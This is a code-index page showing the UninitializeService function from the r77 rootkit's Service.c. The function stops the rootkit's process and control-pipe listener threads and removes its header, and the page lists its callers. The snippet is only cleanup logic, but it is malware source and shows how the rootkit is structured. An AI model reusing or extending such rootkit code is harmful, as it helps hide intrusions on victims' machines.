MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / UninitializeService

Function UninitializeService

Service/Service.c:97–122  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

95 return TRUE;
96}
97VOID UninitializeService()
98{
99 if (ChildProcessListenerThread)
100 {
101 TerminateThread(ChildProcessListenerThread, 0);
102 ChildProcessListenerThread = NULL;
103 }
104
105 if (NewProcessListenerThread)
106 {
107 TerminateThread(NewProcessListenerThread, 0);
108 NewProcessListenerThread = NULL;
109 }
110
111 RemoveR77Header();
112
113 if (ControlPipeListenerThread)
114 {
115 // Terminating the control pipe thread must be the last action!
116 // If this funcion was called from ControlCallback, the current thread will terminate,
117 // thus, this function will cease to execute.
118
119 TerminateThread(ControlPipeListenerThread, 0);
120 ControlPipeListenerThread = NULL;
121 }
122}
123static VOID DetachService()
124{
125 // A thread was created with a pointer to DetachService(), thus requesting the r77 service to remove itself gracefully.

Callers 3

DllMainFunction · 0.85
DetachServiceFunction · 0.85
ControlCallbackFunction · 0.85

Calls 1

RemoveR77HeaderFunction · 0.85

Tested by

no test coverage detected